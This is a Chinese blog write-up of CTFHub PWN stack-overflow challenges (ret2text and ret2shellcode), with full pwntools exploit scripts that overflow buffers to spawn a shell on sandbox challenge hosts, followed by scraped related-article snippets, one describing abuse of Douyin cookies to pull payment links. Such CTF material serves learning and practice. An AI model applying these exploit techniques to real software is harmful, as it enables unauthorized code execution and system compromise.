CTFHub[PWN技能树]——栈溢出
一、ret2text
- 例行检查,64位程序,没有开启任何保护

- 本地运行一下情况,看看大概的情况

- 64位ida载入,检索程序里的字符串发现了bin/sh

要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)

- 看main函数

第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *
#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)
payload='a'*(0x70+8)+p64(0x4007b8)
p.sendline(payload)
p.interactive()

二、ret2shellcode
- 例行检查,64位程序,仍然未开启任何保护

- 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址

- 64位ida载入,看main函数

一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞 - 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
- 有了shellcode,然后就是shellcode写到哪里的问题
本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret
shellcode_addr = buf_addr + 0x10+0x8+0x8
- shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
完整exp:
#coding=utf-8
from pwn import *
import re
#context.log_level = "debug"
context.arch = 'amd64'
p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)
#p=process('./pwn2')
#gdb.attach(p)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
shellcode_addr = buf_addr + 32
shellcode = asm(shellcraft.sh())
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题
CTFHub[PWN技能树]——栈溢出的更多相关文章
- CTFHub web技能树之RCE初步 命令注入+过滤cat
在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题 大佬的博客跳转链接在此->>>大佬召唤机 叫 命令注入 一上来就是源码出现,上面有个ping的地方 <?php $re ...
- CTFHub web技能树 RCE
一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来... 试了几下反弹shell,没成功... ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- Linux pwn入门教程(1)——栈溢出基础
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42241-1-1.html 0×00 函数的进入与返回 要想理解栈溢出,首先必须 ...
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之栈溢出(1)
栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: gef➤ b main Breakpoint at . gef➤ r Starting program: /mnt/ ...
- CTF必备技能丨Linux Pwn入门教程——栈溢出基础
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- ctfhub技能树—彩蛋
彩蛋题建议大家首先自己动手去找一找 做 好 准 备 后 再 看 下 文 ! 1.首页 使用域名查询工具查询子域名 2.公众号 此题关注ctfhub公众号即可拿到,不过多赘述. 3. ...
随机推荐
- 行星万象表白墙微信小程序、社交微信小程序,后台完整,支持多区域运营,扫码体验。
简介 中国目前大概有5000个表白墙,累计用户近3000万,是一个庞大的群体,但现在大都以微信朋友圈为基础进行信息中转,但是这种模式经营者和用户都不友好,尤其是经营者无法变现,用户无法公开评论,这些种 ...
- Java设计模式之(五)——代理模式
1.什么是代理模式 Provide a surrogate or placeholder for another object to control access to it. Proxy Patte ...
- [spojDIVCNT1]Counting Divisors
定义 约定1:以下分数都是最简,且令$\frac{1}{0}$有意义,其大于其余分数,并称平行于$y$轴的直线斜率为$-\frac{1}{0}$ 分数加:对于分数$a=\frac{a_{1}}{a_{ ...
- CF1290E Cartesian Tree
考虑笛卡尔树的意义: 一个点在笛卡尔树中的子树,代表以他为最小/最大值的区间. 所以一个点的子树大小,一定是类似到达序列边界或者被一个比他更大的数隔离. 考虑记录 \(l_i,r_i\) 为第 \(i ...
- 洛谷 P5048 - [Ynoi2019 模拟赛] Yuno loves sqrt technology III(分块)
题面传送门 qwq 感觉跟很多年前做过的一道题思路差不多罢,结果我竟然没想起那道题?!!所以说我 wtcl/wq 首先将 \(a_i\) 离散化. 如果允许离线那显然一遍莫队就能解决,复杂度 \(n\ ...
- [R] read.table的check.names参数防止读入数据时列名前自动加上"X."
最近用之前写的R脚本重新跑数据时,出现了报错.经检查,才发现是数据的列名读入R时发生了变化,列名前自动加上了X.符号. read.table系列函数有一个check.names参数,默认为 TRUE ...
- 毕业设计之zabbix+微信企业号报警
需要自己申请一个微信企业号 创建应用 AgentId 1000003 Secret SOI8b20G96yUVM29K02-bP5N5o6dovwSF2RrDaXHJNg 企业ID(自己再企业信息里面 ...
- Excel-姓名列中同一个人汇总金额列,得出总金额
8.姓名列中同一个人求和金额列,得出总金额. 方法一: P2处公式=SUMPRODUCT(($M$2:$M$20=$M2)*($N$2:$N$20)) 解释函数: 引用:https://zhinan. ...
- 谈谈AI
由AI大作业想到的 近几年<人工智能导论>的大作业是编写一个博弈程序,这类程序的典型框架就是α-β剪枝算法,像著名的打败了国际象棋大师卡斯帕罗的深蓝,就是这么干的,一些中国象棋程序也是这样 ...
- 利用抖音Cookie充值接口提取支付链接,个人调起原生微信h5支付宝h5支付
最近开始搞一些个人支付通道的开发,方便个人不用和第三方平台签约就能收款,省去很多流程手续的成本. 然后翻了一下网上并没有太多现成的技术教程,只能自己研究着搞了. 这次要分享的是利用抖音的充值接口,去分 ...